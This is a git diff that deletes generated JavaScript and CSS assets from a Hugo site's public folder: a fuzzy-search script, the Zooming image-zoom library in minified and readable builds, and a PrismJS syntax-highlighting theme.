- search_menu_wrapper.classList.add("hidden"); - }); - const data = await (await response).json(); - const opts = { - unicode: true, - interSplit: "[^\\p{L}\\d']+", - intraSplit: "\\p{Ll}\\p{Lu}", - intraBound: "\\p{L}\\d|\\d\\p{L}|\\p{Ll}\\p{Lu}", - intraChars: "[\\p{L}\\d']", - intraContr: "'\\p{L}{1,2}\\b" - }; - const uf = new uFuzzy(opts); - const haystack = []; - data.forEach((d) => { - haystack.push(d["title"], d["content"]); - }); - const createItem = (title, permalink, content) => { - return ` -
-
${title}
-
${content}
-
-
`; - }; - const buildAllItems = () => { - search_menu_results.innerHTML = data.reduce((acc, curr) => { - let content = curr.content.length > 100 ? curr.content.substring(0, 100) + "..." : curr.content; - return acc + createItem(curr.title, curr.permalink, content); - }, ""); - }; - const mark = (part) => "" + part + ""; - const markMatched = (haystackIdx, ranges) => { - let marktedText = ""; - const text = haystack[haystackIdx]; - let prevTo = 0; - for (let i = 0; i < ranges.length; i += 2) { - let fr = ranges[i]; - let to = ranges[i + 1]; - marktedText = marktedText + text.substring(prevTo, fr) + mark(text.substring(fr, to)); - prevTo = to; - } - marktedText = marktedText + text.substring(prevTo, text.length); - return marktedText; - }; - const markMatchTruncate = (haystackIdx, ranges) => { - let markedText = ""; - const text = haystack[haystackIdx]; - const prefixContextLen = 20; - const suffixContextLen = 100; - let prevCtxTo = -1, prevTo = -1; - for (let i = 0; i < ranges.length; i += 2) { - let ctxFr = Math.max(ranges[i] - prefixContextLen, 0); - let ctxTo = Math.min(ranges[i + 1] + suffixContextLen, text.length); - let fr = ranges[i]; - let to = ranges[i + 1]; - if (ctxFr <= prevCtxTo) { - markedText = markedText + text.substring(prevTo, fr); - } else { - if (ctxFr !== 0) { - markedText = markedText + "..."; - } - markedText = markedText + text.substring(ctxFr, fr); - } - markedText = markedText + mark(text.substring(fr, to)); - prevCtxTo = ctxTo; - prevTo = to; - } - markedText = markedText + text.substring(prevTo, prevCtxTo); - if (prevCtxTo < text.length) { - markedText = markedText + "..."; - } - return markedText; - }; - const search = (value) => { - const [_, info, order] = uf.search(haystack, value); - const orderedMatches = []; - const matchesMap = /* @__PURE__ */ new Map(); - for (let i = 0; i < order.length; i++) { - const infoIdx = order[i]; - const haystackIdx = info.idx[infoIdx]; - const dataIdx = Math.floor(haystackIdx / 2); - const dataType = haystackIdx % 2; - if (!matchesMap.has(dataIdx)) { - matchesMap.set(dataIdx, orderedMatches.length); - orderedMatches.push({ ...data[dataIdx] }); - } - const match = orderedMatches[matchesMap.get(dataIdx)]; - if (dataType === 0) { - match["title"] = markMatched(haystackIdx, info.ranges[infoIdx]); - } else if (dataType === 1) { - match["content"] = markMatchTruncate(haystackIdx, info.ranges[infoIdx]); - } - } - if (orderedMatches.length == 0) { - search_menu_results.innerHTML = ""; - } else { - search_menu_results.innerHTML = orderedMatches.reduce((acc, curr) => { - return acc + createItem(curr.title, curr.permalink, curr.content); - }, ""); - } - }; - search_menu_input.addEventListener("input", function() { - if (this.value === "") { - buildAllItems(); - } else { - search(this.value.trim()); - } - }); - buildAllItems(); - } - window.addEventListener("DOMContentLoaded", init); - })(); -})(); diff --git a/public/js/zooming.684b5d075bf94d0adfa21a7e7eb9acec1ddfb2e7b47d6657981617f0db0cf50949f1172801595afa3051f51b28d67f6a2d0c41be677b59b564307d9dbe4a4fd2.js b/public/js/zooming.684b5d075bf94d0adfa21a7e7eb9acec1ddfb2e7b47d6657981617f0db0cf50949f1172801595afa3051f51b28d67f6a2d0c41be677b59b564307d9dbe4a4fd2.js deleted file mode 100644 index 78e9e9fa..00000000 --- a/public/js/zooming.684b5d075bf94d0adfa21a7e7eb9acec1ddfb2e7b47d6657981617f0db0cf50949f1172801595afa3051f51b28d67f6a2d0c41be677b59b564307d9dbe4a4fd2.js +++ /dev/null @@ -1,10 +0,0 @@ -(()=>{var K=Object.create;var M=Object.defineProperty;var Z=Object.getOwnPropertyDescriptor;var J=Object.getOwnPropertyNames;var Q=Object.getPrototypeOf,U=Object.prototype.hasOwnProperty;var V=(r,a)=>()=>(a||r((a={exports:{}}).exports,a),a.exports);var $=(r,a,d,g)=>{if(a&&typeof a=="object"||typeof a=="function")for(let f of J(a))!U.call(r,f)&&f!==d&&M(r,f,{get:()=>a[f],enumerable:!(g=Z(a,f))||g.enumerable});return r};var tt=(r,a,d)=>(d=r!=null?K(Q(r)):{},$(a||!r||!r.__esModule?M(d,"default",{value:r,enumerable:!0}):d,r));var j=V((S,z)=>{(function(r,a){typeof S=="object"&&typeof z<"u"?z.exports=a():typeof define=="function"&&define.amd?define(a):(r=r||self).Zooming=a()})(S,function(){"use strict";var r="auto",a="zoom-in",d="zoom-out",g="grab",f="move";function l(t,e,i){var n={passive:!1};!(arguments.length>3&&arguments[3]!==void 0)||arguments[3]?t.addEventListener(e,i,n):t.removeEventListener(e,i,n)}function C(t,e){if(t){var i=new Image;i.onload=function(){e&&e(i)},i.src=t}}function T(t){return t.dataset.original?t.dataset.original:t.parentNode.tagName==="A"?t.parentNode.getAttribute("href"):null}function m(t,e,i){(function(h){var v=p.transitionProp,b=p.transformProp;if(h.transition){var w=h.transition;delete h.transition,h[v]=w}if(h.transform){var x=h.transform;delete h.transform,h[b]=x}})(e);var n=t.style,s={};for(var o in e)i&&(s[o]=n[o]||""),n[o]=e[o];return s}var p={transitionProp:"transition",transEndEvent:"transitionend",transformProp:"transform",transformCssProp:"transform"},E=p.transformCssProp,u=p.transEndEvent,c=function(){},G={enableGrab:!0,preloadImage:!1,closeOnWindowResize:!0,transitionDuration:.4,transitionTimingFunction:"cubic-bezier(0.4, 0, 0, 1)",bgColor:"rgb(255, 255, 255)",bgOpacity:1,scaleBase:1,scaleExtra:.5,scrollThreshold:40,zIndex:998,customSize:null,onOpen:c,onClose:c,onGrab:c,onMove:c,onRelease:c,onBeforeOpen:c,onBeforeClose:c,onBeforeGrab:c,onBeforeRelease:c,onImageLoading:c,onImageLoaded:c},N={init:function(t){var e,i;e=this,i=t,Object.getOwnPropertyNames(Object.getPrototypeOf(e)).forEach(function(n){e[n]=e[n].bind(i)})},click:function(t){if(t.preventDefault(),k(t))return window.open(this.target.srcOriginal||t.currentTarget.src,"_blank");this.shown?this.released?this.close():this.release():this.open(t.currentTarget)},scroll:function(){var t=document.documentElement||document.body.parentNode||document.body,e=window.pageXOffset||t.scrollLeft,i=window.pageYOffset||t.scrollTop;this.lastScrollPosition===null&&(this.lastScrollPosition={x:e,y:i});var n=this.lastScrollPosition.x-e,s=this.lastScrollPosition.y-i,o=this.options.scrollThreshold;(Math.abs(s)>=o||Math.abs(n)>=o)&&(this.lastScrollPosition=null,this.close())},keydown:function(t){(function(e){return(e.key||e.code)==="Escape"||e.keyCode===27})(t)&&(this.released?this.close():this.release(this.close))},mousedown:function(t){if(I(t)&&!k(t)){t.preventDefault();var e=t.clientX,i=t.clientY;this.pressTimer=setTimeout(function(){this.grab(e,i)}.bind(this),200)}},mousemove:function(t){this.released||this.move(t.clientX,t.clientY)},mouseup:function(t){I(t)&&!k(t)&&(clearTimeout(this.pressTimer),this.released?this.close():this.release())},touchstart:function(t){t.preventDefault();var e=t.touches[0],i=e.clientX,n=e.clientY;this.pressTimer=setTimeout(function(){this.grab(i,n)}.bind(this),200)},touchmove:function(t){if(!this.released){var e=t.touches[0],i=e.clientX,n=e.clientY;this.move(i,n)}},touchend:function(t){(function(e){e.targetTouches.length})(t)||(clearTimeout(this.pressTimer),this.released?this.close():this.release())},clickOverlay:function(){this.close()},resizeWindow:function(){this.close()}};function I(t){return t.button===0}function k(t){return t.metaKey||t.ctrlKey}var _={init:function(t){this.el=document.createElement("div"),this.instance=t,this.parent=document.body,m(this.el,{position:"fixed",top:0,left:0,right:0,bottom:0,opacity:0}),this.updateStyle(t.options),l(this.el,"click",t.handler.clickOverlay.bind(t))},updateStyle:function(t){m(this.el,{zIndex:t.zIndex,backgroundColor:t.bgColor,transition:`opacity - `+t.transitionDuration+`s - `+t.transitionTimingFunction})},insert:function(){this.parent.appendChild(this.el)},remove:function(){this.parent.removeChild(this.el)},fadeIn:function(){this.el.offsetWidth,this.el.style.opacity=this.instance.options.bgOpacity},fadeOut:function(){this.el.style.opacity=0}},D=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(t){return typeof t}:function(t){return t&&typeof Symbol=="function"&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},R=function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")},F=function(){function t(e,i){for(var n=0;nW||O>L)return{x:W,y:L}}return{x:O,y:O}}};function y(){var t=document.documentElement;return{x:Math.min(t.clientWidth,window.innerWidth)/2,y:Math.min(t.clientHeight,window.innerHeight)/2}}function B(t,e,i){["mousedown","mousemove","mouseup","touchstart","touchmove","touchend"].forEach(function(n){l(t,n,e[n],i)})}return function(){function t(e){R(this,t),this.target=Object.create(X),this.overlay=Object.create(_),this.handler=Object.create(N),this.body=document.body,this.shown=!1,this.lock=!1,this.released=!0,this.lastScrollPosition=null,this.pressTimer=null,this.options=P({},G,e),this.overlay.init(this),this.handler.init(this)}return F(t,[{key:"listen",value:function(e){if(typeof e=="string")for(var i=document.querySelectorAll(e),n=i.length;n--;)this.listen(i[n]);else e.tagName==="IMG"&&(e.style.cursor=a,l(e,"click",this.handler.click),this.options.preloadImage&&C(T(e)));return this}},{key:"config",value:function(e){return e?(P(this.options,e),this.overlay.updateStyle(this.options),this):this.options}},{key:"open",value:function(e){var i=this,n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.options.onOpen;if(!this.shown&&!this.lock){var s=typeof e=="string"?document.querySelector(e):e;if(s.tagName==="IMG"){if(this.options.onBeforeOpen(s),this.target.init(s,this),!this.options.preloadImage){var o=this.target.srcOriginal;o!=null&&(this.options.onImageLoading(s),C(o,this.options.onImageLoaded))}return this.shown=!0,this.lock=!0,this.target.zoomIn(),this.overlay.insert(),this.overlay.fadeIn(),l(document,"scroll",this.handler.scroll),l(document,"keydown",this.handler.keydown),this.options.closeOnWindowResize&&l(window,"resize",this.handler.resizeWindow),l(s,u,function h(){l(s,u,h,!1),i.lock=!1,i.target.upgradeSource(),i.options.enableGrab&&B(document,i.handler,!0),n(s)}),this}}}},{key:"close",value:function(){var e=this,i=arguments.length>0&&arguments[0]!==void 0?arguments[0]:this.options.onClose;if(this.shown&&!this.lock){var n=this.target.el;return this.options.onBeforeClose(n),this.lock=!0,this.body.style.cursor=r,this.overlay.fadeOut(),this.target.zoomOut(),l(document,"scroll",this.handler.scroll,!1),l(document,"keydown",this.handler.keydown,!1),this.options.closeOnWindowResize&&l(window,"resize",this.handler.resizeWindow,!1),l(n,u,function s(){l(n,u,s,!1),e.shown=!1,e.lock=!1,e.target.downgradeSource(),e.options.enableGrab&&B(document,e.handler,!1),e.target.restoreCloseStyle(),e.overlay.remove(),i(n)}),this}}},{key:"grab",value:function(e,i){var n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.options.scaleExtra,s=arguments.length>3&&arguments[3]!==void 0?arguments[3]:this.options.onGrab;if(this.shown&&!this.lock){var o=this.target.el;return this.options.onBeforeGrab(o),this.released=!1,this.target.grab(e,i,n),l(o,u,function h(){l(o,u,h,!1),s(o)}),this}}},{key:"move",value:function(e,i){var n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.options.scaleExtra,s=arguments.length>3&&arguments[3]!==void 0?arguments[3]:this.options.onMove;if(this.shown&&!this.lock){this.released=!1,this.body.style.cursor=f,this.target.move(e,i,n);var o=this.target.el;return l(o,u,function h(){l(o,u,h,!1),s(o)}),this}}},{key:"release",value:function(){var e=this,i=arguments.length>0&&arguments[0]!==void 0?arguments[0]:this.options.onRelease;if(this.shown&&!this.lock){var n=this.target.el;return this.options.onBeforeRelease(n),this.lock=!0,this.body.style.cursor=r,this.target.restoreOpenStyle(),l(n,u,function s(){l(n,u,s,!1),e.lock=!1,e.released=!0,i(n)}),this}}}]),t}()})});var A=tt(j());document.addEventListener("DOMContentLoaded",function(){let r;localStorage.theme==="dark"||!("theme"in localStorage)&&window.matchMedia("(prefers-color-scheme: dark)").matches?r="#333":r="#fff",zooming=new A.default({transitionDuration:.2,bgColor:r}),zooming.listen("#content img");let a=document.getElementById("dark_mode_btn"),d=document.getElementById("light_mode_btn");a.addEventListener("click",function(){zooming.config({bgColor:"#333"})}),d.addEventListener("click",function(){zooming.config({bgColor:"#fff"})})});})(); diff --git a/public/js/zooming.js b/public/js/zooming.js deleted file mode 100644 index a77c3c1c..00000000 --- a/public/js/zooming.js +++ /dev/null @@ -1,299 +0,0 @@ -(() => { - var __create = Object.create; - var __defProp = Object.defineProperty; - var __getOwnPropDesc = Object.getOwnPropertyDescriptor; - var __getOwnPropNames = Object.getOwnPropertyNames; - var __getProtoOf = Object.getPrototypeOf; - var __hasOwnProp = Object.prototype.hasOwnProperty; - var __commonJS = (cb, mod) => function __require() { - return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports; - }; - var __copyProps = (to, from, except, desc) => { - if (from && typeof from === "object" || typeof from === "function") { - for (let key of __getOwnPropNames(from)) - if (!__hasOwnProp.call(to, key) && key !== except) - __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable }); - } - return to; - }; - var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps( - // If the importer is in node compatibility mode or this is not an ESM - // file that has been converted to a CommonJS file using a Babel- - // compatible transform (i.e. "__esModule" has not been set), then set - // "default" to the CommonJS "module.exports" for node compatibility. - isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target, - mod - )); - - // ns-hugo:/home/akiidjk/WorkSpace/Projects/CurrentProjects/ByteTheCookies.github.io/themes/bytethecookies-theme/assets/lib/js/zooming-v2.1.1.min.js - var require_zooming_v2_1_1_min = __commonJS({ - "ns-hugo:/home/akiidjk/WorkSpace/Projects/CurrentProjects/ByteTheCookies.github.io/themes/bytethecookies-theme/assets/lib/js/zooming-v2.1.1.min.js"(exports, module) { - !function(t, e) { - "object" == typeof exports && "undefined" != typeof module ? module.exports = e() : "function" == typeof define && define.amd ? define(e) : (t = t || self).Zooming = e(); - }(exports, function() { - "use strict"; - var t = "auto", e = "zoom-in", i = "zoom-out", n = "grab", s = "move"; - function o(t2, e2, i2) { - var n2 = { passive: false }; - !(arguments.length > 3 && void 0 !== arguments[3]) || arguments[3] ? t2.addEventListener(e2, i2, n2) : t2.removeEventListener(e2, i2, n2); - } - function r(t2, e2) { - if (t2) { - var i2 = new Image(); - i2.onload = function() { - e2 && e2(i2); - }, i2.src = t2; - } - } - function a(t2) { - return t2.dataset.original ? t2.dataset.original : "A" === t2.parentNode.tagName ? t2.parentNode.getAttribute("href") : null; - } - function l(t2, e2, i2) { - !function(t3) { - var e3 = h.transitionProp, i3 = h.transformProp; - if (t3.transition) { - var n3 = t3.transition; - delete t3.transition, t3[e3] = n3; - } - if (t3.transform) { - var s3 = t3.transform; - delete t3.transform, t3[i3] = s3; - } - }(e2); - var n2 = t2.style, s2 = {}; - for (var o2 in e2) i2 && (s2[o2] = n2[o2] || ""), n2[o2] = e2[o2]; - return s2; - } - var h = { transitionProp: "transition", transEndEvent: "transitionend", transformProp: "transform", transformCssProp: "transform" }, c = h.transformCssProp, u = h.transEndEvent; - var d = function() { - }, f = { enableGrab: true, preloadImage: false, closeOnWindowResize: true, transitionDuration: 0.4, transitionTimingFunction: "cubic-bezier(0.4, 0, 0, 1)", bgColor: "rgb(255, 255, 255)", bgOpacity: 1, scaleBase: 1, scaleExtra: 0.5, scrollThreshold: 40, zIndex: 998, customSize: null, onOpen: d, onClose: d, onGrab: d, onMove: d, onRelease: d, onBeforeOpen: d, onBeforeClose: d, onBeforeGrab: d, onBeforeRelease: d, onImageLoading: d, onImageLoaded: d }, p = { init: function(t2) { - var e2, i2; - e2 = this, i2 = t2, Object.getOwnPropertyNames(Object.getPrototypeOf(e2)).forEach(function(t3) { - e2[t3] = e2[t3].bind(i2); - }); - }, click: function(t2) { - if (t2.preventDefault(), m(t2)) return window.open(this.target.srcOriginal || t2.currentTarget.src, "_blank"); - this.shown ? this.released ? this.close() : this.release() : this.open(t2.currentTarget); - }, scroll: function() { - var t2 = document.documentElement || document.body.parentNode || document.body, e2 = window.pageXOffset || t2.scrollLeft, i2 = window.pageYOffset || t2.scrollTop; - null === this.lastScrollPosition && (this.lastScrollPosition = { x: e2, y: i2 }); - var n2 = this.lastScrollPosition.x - e2, s2 = this.lastScrollPosition.y - i2, o2 = this.options.scrollThreshold; - (Math.abs(s2) >= o2 || Math.abs(n2) >= o2) && (this.lastScrollPosition = null, this.close()); - }, keydown: function(t2) { - (function(t3) { - return "Escape" === (t3.key || t3.code) || 27 === t3.keyCode; - })(t2) && (this.released ? this.close() : this.release(this.close)); - }, mousedown: function(t2) { - if (y(t2) && !m(t2)) { - t2.preventDefault(); - var e2 = t2.clientX, i2 = t2.clientY; - this.pressTimer = setTimeout(function() { - this.grab(e2, i2); - }.bind(this), 200); - } - }, mousemove: function(t2) { - this.released || this.move(t2.clientX, t2.clientY); - }, mouseup: function(t2) { - y(t2) && !m(t2) && (clearTimeout(this.pressTimer), this.released ? this.close() : this.release()); - }, touchstart: function(t2) { - t2.preventDefault(); - var e2 = t2.touches[0], i2 = e2.clientX, n2 = e2.clientY; - this.pressTimer = setTimeout(function() { - this.grab(i2, n2); - }.bind(this), 200); - }, touchmove: function(t2) { - if (!this.released) { - var e2 = t2.touches[0], i2 = e2.clientX, n2 = e2.clientY; - this.move(i2, n2); - } - }, touchend: function(t2) { - (function(t3) { - t3.targetTouches.length; - })(t2) || (clearTimeout(this.pressTimer), this.released ? this.close() : this.release()); - }, clickOverlay: function() { - this.close(); - }, resizeWindow: function() { - this.close(); - } }; - function y(t2) { - return 0 === t2.button; - } - function m(t2) { - return t2.metaKey || t2.ctrlKey; - } - var g = { init: function(t2) { - this.el = document.createElement("div"), this.instance = t2, this.parent = document.body, l(this.el, { position: "fixed", top: 0, left: 0, right: 0, bottom: 0, opacity: 0 }), this.updateStyle(t2.options), o(this.el, "click", t2.handler.clickOverlay.bind(t2)); - }, updateStyle: function(t2) { - l(this.el, { zIndex: t2.zIndex, backgroundColor: t2.bgColor, transition: "opacity\n " + t2.transitionDuration + "s\n " + t2.transitionTimingFunction }); - }, insert: function() { - this.parent.appendChild(this.el); - }, remove: function() { - this.parent.removeChild(this.el); - }, fadeIn: function() { - this.el.offsetWidth, this.el.style.opacity = this.instance.options.bgOpacity; - }, fadeOut: function() { - this.el.style.opacity = 0; - } }, v = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(t2) { - return typeof t2; - } : function(t2) { - return t2 && "function" == typeof Symbol && t2.constructor === Symbol && t2 !== Symbol.prototype ? "symbol" : typeof t2; - }, b = function(t2, e2) { - if (!(t2 instanceof e2)) throw new TypeError("Cannot call a class as a function"); - }, w = /* @__PURE__ */ function() { - function t2(t3, e2) { - for (var i2 = 0; i2 < e2.length; i2++) { - var n2 = e2[i2]; - n2.enumerable = n2.enumerable || false, n2.configurable = true, "value" in n2 && (n2.writable = true), Object.defineProperty(t3, n2.key, n2); - } - } - return function(e2, i2, n2) { - return i2 && t2(e2.prototype, i2), n2 && t2(e2, n2), e2; - }; - }(), x = Object.assign || function(t2) { - for (var e2 = 1; e2 < arguments.length; e2++) { - var i2 = arguments[e2]; - for (var n2 in i2) Object.prototype.hasOwnProperty.call(i2, n2) && (t2[n2] = i2[n2]); - } - return t2; - }, O = { init: function(t2, e2) { - this.el = t2, this.instance = e2, this.srcThumbnail = this.el.getAttribute("src"), this.srcset = this.el.getAttribute("srcset"), this.srcOriginal = a(this.el), this.rect = this.el.getBoundingClientRect(), this.translate = null, this.scale = null, this.styleOpen = null, this.styleClose = null; - }, zoomIn: function() { - var t2 = this.instance.options, e2 = t2.zIndex, s2 = t2.enableGrab, o2 = t2.transitionDuration, r2 = t2.transitionTimingFunction; - this.translate = this.calculateTranslate(), this.scale = this.calculateScale(), this.styleOpen = { position: "relative", zIndex: e2 + 1, cursor: s2 ? n : i, transition: c + "\n " + o2 + "s\n " + r2, transform: "translate3d(" + this.translate.x + "px, " + this.translate.y + "px, 0px)\n scale(" + this.scale.x + "," + this.scale.y + ")", height: this.rect.height + "px", width: this.rect.width + "px" }, this.el.offsetWidth, this.styleClose = l(this.el, this.styleOpen, true); - }, zoomOut: function() { - this.el.offsetWidth, l(this.el, { transform: "none" }); - }, grab: function(t2, e2, i2) { - var n2 = k(), o2 = n2.x - t2, r2 = n2.y - e2; - l(this.el, { cursor: s, transform: "translate3d(\n " + (this.translate.x + o2) + "px, " + (this.translate.y + r2) + "px, 0px)\n scale(" + (this.scale.x + i2) + "," + (this.scale.y + i2) + ")" }); - }, move: function(t2, e2, i2) { - var n2 = k(), s2 = n2.x - t2, o2 = n2.y - e2; - l(this.el, { transition: c, transform: "translate3d(\n " + (this.translate.x + s2) + "px, " + (this.translate.y + o2) + "px, 0px)\n scale(" + (this.scale.x + i2) + "," + (this.scale.y + i2) + ")" }); - }, restoreCloseStyle: function() { - l(this.el, this.styleClose); - }, restoreOpenStyle: function() { - l(this.el, this.styleOpen); - }, upgradeSource: function() { - if (this.srcOriginal) { - var t2 = this.el.parentNode; - this.srcset && this.el.removeAttribute("srcset"); - var e2 = this.el.cloneNode(false); - e2.setAttribute("src", this.srcOriginal), e2.style.position = "fixed", e2.style.visibility = "hidden", t2.appendChild(e2), setTimeout(function() { - this.el.setAttribute("src", this.srcOriginal), t2.removeChild(e2); - }.bind(this), 50); - } - }, downgradeSource: function() { - this.srcOriginal && (this.srcset && this.el.setAttribute("srcset", this.srcset), this.el.setAttribute("src", this.srcThumbnail)); - }, calculateTranslate: function() { - var t2 = k(), e2 = this.rect.left + this.rect.width / 2, i2 = this.rect.top + this.rect.height / 2; - return { x: t2.x - e2, y: t2.y - i2 }; - }, calculateScale: function() { - var t2 = this.el.dataset, e2 = t2.zoomingHeight, i2 = t2.zoomingWidth, n2 = this.instance.options, s2 = n2.customSize, o2 = n2.scaleBase; - if (!s2 && e2 && i2) return { x: i2 / this.rect.width, y: e2 / this.rect.height }; - if (s2 && "object" === (void 0 === s2 ? "undefined" : v(s2))) return { x: s2.width / this.rect.width, y: s2.height / this.rect.height }; - var r2 = this.rect.width / 2, a2 = this.rect.height / 2, l2 = k(), h2 = { x: l2.x - r2, y: l2.y - a2 }, c2 = h2.x / r2, u2 = h2.y / a2, d2 = o2 + Math.min(c2, u2); - if (s2 && "string" == typeof s2) { - var f2 = i2 || this.el.naturalWidth, p2 = e2 || this.el.naturalHeight, y2 = parseFloat(s2) * f2 / (100 * this.rect.width), m2 = parseFloat(s2) * p2 / (100 * this.rect.height); - if (d2 > y2 || d2 > m2) return { x: y2, y: m2 }; - } - return { x: d2, y: d2 }; - } }; - function k() { - var t2 = document.documentElement; - return { x: Math.min(t2.clientWidth, window.innerWidth) / 2, y: Math.min(t2.clientHeight, window.innerHeight) / 2 }; - } - function S(t2, e2, i2) { - ["mousedown", "mousemove", "mouseup", "touchstart", "touchmove", "touchend"].forEach(function(n2) { - o(t2, n2, e2[n2], i2); - }); - } - return function() { - function i2(t2) { - b(this, i2), this.target = Object.create(O), this.overlay = Object.create(g), this.handler = Object.create(p), this.body = document.body, this.shown = false, this.lock = false, this.released = true, this.lastScrollPosition = null, this.pressTimer = null, this.options = x({}, f, t2), this.overlay.init(this), this.handler.init(this); - } - return w(i2, [{ key: "listen", value: function(t2) { - if ("string" == typeof t2) for (var i3 = document.querySelectorAll(t2), n2 = i3.length; n2--; ) this.listen(i3[n2]); - else "IMG" === t2.tagName && (t2.style.cursor = e, o(t2, "click", this.handler.click), this.options.preloadImage && r(a(t2))); - return this; - } }, { key: "config", value: function(t2) { - return t2 ? (x(this.options, t2), this.overlay.updateStyle(this.options), this) : this.options; - } }, { key: "open", value: function(t2) { - var e2 = this, i3 = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : this.options.onOpen; - if (!this.shown && !this.lock) { - var n2 = "string" == typeof t2 ? document.querySelector(t2) : t2; - if ("IMG" === n2.tagName) { - if (this.options.onBeforeOpen(n2), this.target.init(n2, this), !this.options.preloadImage) { - var s2 = this.target.srcOriginal; - null != s2 && (this.options.onImageLoading(n2), r(s2, this.options.onImageLoaded)); - } - this.shown = true, this.lock = true, this.target.zoomIn(), this.overlay.insert(), this.overlay.fadeIn(), o(document, "scroll", this.handler.scroll), o(document, "keydown", this.handler.keydown), this.options.closeOnWindowResize && o(window, "resize", this.handler.resizeWindow); - return o(n2, u, function t3() { - o(n2, u, t3, false), e2.lock = false, e2.target.upgradeSource(), e2.options.enableGrab && S(document, e2.handler, true), i3(n2); - }), this; - } - } - } }, { key: "close", value: function() { - var e2 = this, i3 = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : this.options.onClose; - if (this.shown && !this.lock) { - var n2 = this.target.el; - this.options.onBeforeClose(n2), this.lock = true, this.body.style.cursor = t, this.overlay.fadeOut(), this.target.zoomOut(), o(document, "scroll", this.handler.scroll, false), o(document, "keydown", this.handler.keydown, false), this.options.closeOnWindowResize && o(window, "resize", this.handler.resizeWindow, false); - return o(n2, u, function t2() { - o(n2, u, t2, false), e2.shown = false, e2.lock = false, e2.target.downgradeSource(), e2.options.enableGrab && S(document, e2.handler, false), e2.target.restoreCloseStyle(), e2.overlay.remove(), i3(n2); - }), this; - } - } }, { key: "grab", value: function(t2, e2) { - var i3 = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : this.options.scaleExtra, n2 = arguments.length > 3 && void 0 !== arguments[3] ? arguments[3] : this.options.onGrab; - if (this.shown && !this.lock) { - var s2 = this.target.el; - this.options.onBeforeGrab(s2), this.released = false, this.target.grab(t2, e2, i3); - return o(s2, u, function t3() { - o(s2, u, t3, false), n2(s2); - }), this; - } - } }, { key: "move", value: function(t2, e2) { - var i3 = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : this.options.scaleExtra, n2 = arguments.length > 3 && void 0 !== arguments[3] ? arguments[3] : this.options.onMove; - if (this.shown && !this.lock) { - this.released = false, this.body.style.cursor = s, this.target.move(t2, e2, i3); - var r2 = this.target.el; - return o(r2, u, function t3() { - o(r2, u, t3, false), n2(r2); - }), this; - } - } }, { key: "release", value: function() { - var e2 = this, i3 = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : this.options.onRelease; - if (this.shown && !this.lock) { - var n2 = this.target.el; - this.options.onBeforeRelease(n2), this.lock = true, this.body.style.cursor = t, this.target.restoreOpenStyle(); - return o(n2, u, function t2() { - o(n2, u, t2, false), e2.lock = false, e2.released = true, i3(n2); - }), this; - } - } }]), i2; - }(); - }); - } - }); - - // - var import_zooming_v2_1_1_min = __toESM(require_zooming_v2_1_1_min()); - document.addEventListener("DOMContentLoaded", function() { - let bgColor; - if (localStorage.theme === "dark" || !("theme" in localStorage) && window.matchMedia("(prefers-color-scheme: dark)").matches) { - bgColor = "#333"; - } else { - bgColor = "#fff"; - } - zooming = new import_zooming_v2_1_1_min.default({ - transitionDuration: 0.2, - bgColor - }); - zooming.listen("#content img"); - const dark_mode_btn = document.getElementById("dark_mode_btn"); - const light_mode_btn = document.getElementById("light_mode_btn"); - dark_mode_btn.addEventListener("click", function() { - zooming.config({ bgColor: "#333" }); - }); - light_mode_btn.addEventListener("click", function() { - zooming.config({ bgColor: "#fff" }); - }); - }); -})(); diff --git a/public/lib/css/prism.css b/public/lib/css/prism.css deleted file mode 100644 index d18e437a..00000000 --- a/public/lib/css/prism.css +++ /dev/null @@ -1,300 +0,0 @@ -/* PrismJS 1.27.0 -https://prismjs.com/download.html#themes=prism-tomorrow */ -/** - * prism.js tomorrow night eighties for JavaScript, CoffeeScript, CSS and HTML - * Based on https://github.com/chriskempson/tomorrow-theme - * @author Rose Pritchard - */ - -/* !!! Be aware that this file is modified version for hugo-theme-monochrome */ - -code[class*="language-"], -pre[class*="language-"] { - color: #ddd; - text-align: left; - white-space: pre; - word-spacing: normal; - word-break: normal; - word-wrap: normal; - line-height: 1.5; - - -moz-tab-size: 4; - -o-tab-size: 4; - tab-size: 4; - - -webkit-hyphens: none; - -moz-hyphens: none; - -ms-hyphens: none; - hyphens: none; -} - -/* Code blocks */ -pre[class*="language-"] { - padding: 1em; - /* margin: 0.5em 0; */ - overflow: auto; -} - -/* :not(pre) > code[class*="language-"], -pre[class*="language-"] { - background: #2d2d2d; -} */ - -/* Inline code */ -:not(pre) > code[class*="language-"] { - padding: 0.1em; - border-radius: 0.3em; - white-space: normal; -} - -.token.comment, -.token.block-comment, -.token.prolog, -.token.doctype, -.token.cdata { - color: #999; -} - -.token.punctuation { - color: #ccc; -} - -.token.tag, -.token.attr-name, -.token.namespace, -.token.deleted { - color: #e2777a; -} - -.token.function-name { - color: #6196cc; -} - -.token.boolean, -.token.number, -.token.function { - color: #f08d49; -} - -.token.property, -.token.class-name, -.token.constant, -.token.symbol { - color: #f8c555; -} - -.token.selector, -.token.important, -.token.atrule, -.token.keyword, -.token.builtin { - color: #cc99cd; -} - -.token.string, -.token.char, -.token.attr-value, -.token.regex, -.token.variable { - color: #7ec699; -} - -.token.operator, -.token.entity, -.token.url { - color: #67cdcc; -} - -.token.important, -.token.bold { - font-weight: bold; -} -.token.italic { - font-style: italic; -} - -.token.entity { - cursor: help; -} - -.token.inserted { - color: green; -} - -/* line-numbers */ - -pre[class*="language-"].line-numbers { - position: relative; - padding-left: 3.8em; - counter-reset: linenumber; -} - -pre[class*="language-"].line-numbers > code { - position: relative; - white-space: inherit; -} - -.line-numbers .line-numbers-rows { - position: absolute; - 